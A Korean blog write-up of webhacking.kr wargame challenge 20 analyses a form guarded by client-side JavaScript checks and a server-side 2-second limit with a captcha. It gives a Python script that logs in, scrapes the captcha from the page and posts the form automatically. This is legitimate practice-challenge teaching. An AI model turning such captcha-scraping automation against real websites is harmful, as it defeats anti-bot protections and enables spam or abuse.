1. 공격 유형 : Javascript 변조
2. 취약점 환경 : Javascript, ServerSide Check 우회
3. Write Up
ⓐ 소스코드 분석
1. 'Submit' onclick 시 Javascript function ck() 수행
2. ck() 내에서 lv5frm form 각각의 값 검증 수행
(id, cmt, captcha 값이 Empty인지와 captcha 값이 동일한지 확인)
3. '2' 수행 후 lv5frm.submit() 수행
ⓑ 검증 환경
1. Client Side : Javascript ck() 함수(id, cmt, captcha Empty 검증 및 captcha 입력값 동일여부 검증)
- ch() 함수 내 id, cmt, captcha 값 Empty 검증 및 captcha 입력값 검증 우회 가능
2. Server Side : TIme Limit(2초), captcha 입력값 검증
- Time Limit, Captcha Server Side 검증의 경우 우회 불가
ⓒ 공격 포인트
1. Time Limit(2초) 내 id, cmt, captcha 값을 웹페이지에 직접(수동으로) 입력하는 것은 불가능함
2. 2초 내 id, cmt, captcha 값을 입력하기 위해 Python 코드 제작
3. Python 코드 설명
- Webhacking.kr 로긴 후 세션을 유지하면서 challenge 20 페이지를 GET하여 captcha 값 추출 후
id, cmt, captcha 값을 POST로 송신
import requests
s = requests.Session()
proxyList = {'http':'127.0.0.1:8000',
'https':'127.0.0.1:8000'}
def login():
url = 'https://webhacking.kr/login.php?login'
login = {'id':'',
'pw':''}
response = s.post(url, data=login, proxies=proxyList, verify=False)
response.status_code
def pay():
print("[-] Payload Started")
login();
url = "https://webhacking.kr/challenge/code-4/"
res=s.get(url, verify=False, proxies=proxyList)
res.status_code
res=res.text
f1 = res.split()
f2=f1[47].split('=')
cap=f2[1].split('"')
cap=cap[1]
header={'Content-Type': 'application/x-www-form-urlencoded'}
res=s.post(url, data='id=d&cmt=d&captcha='+cap,headers=header, proxies=proxyList, verify=False)
res.status_code
res=res.text
print(res)
if __name__=="__main__":
pay();
'2. Information Security > 3. War Game' 카테고리의 다른 글
웹해킹 22번 (webhacking.kr old 22) (0) | 2020.01.05 |
---|---|
웹해킹 21번 (webhacking.kr old 21) (0) | 2020.01.03 |
웹해킹 18번 (webhacking.kr old 18) (0) | 2019.12.24 |
웹해킹 17번 (webhacking.kr old 17) (0) | 2019.12.24 |
웹해킹 16번 (webhacking.kr old 16) (0) | 2019.12.24 |
댓글